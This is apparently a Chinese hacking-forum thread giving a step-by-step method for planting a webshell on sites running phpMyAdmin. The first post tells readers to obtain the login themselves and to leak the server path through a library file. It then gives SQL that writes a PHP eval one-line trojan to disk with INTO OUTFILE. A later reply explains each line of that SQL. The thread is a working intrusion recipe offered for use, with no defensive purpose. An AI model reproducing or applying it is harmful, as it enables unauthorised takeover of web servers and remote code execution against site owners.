猪猪

1.如何拿到登陆密码. 自己想办法

2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.

3.选择一个Database.运行以下语句.

复制内容到剪贴板

代码:

----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
----end code---

4.如果没什么意外.对应网站得到webshell

nmhack

看不懂啊 郁闷...........................

晓华

我来解释下吧。
----start code---
Create TABLE a (cmd text NOT NULL);新建一个表
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');把PHP的一句话木马插入到刚刚建的表
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php'; 然后导出到'D:/phpMyAdmin/libraries/d.php'的目标位置
Drop TABLE IF EXISTS a; 删除表
----end code---
大概就是那个意思。解释得不好，大虾别笑。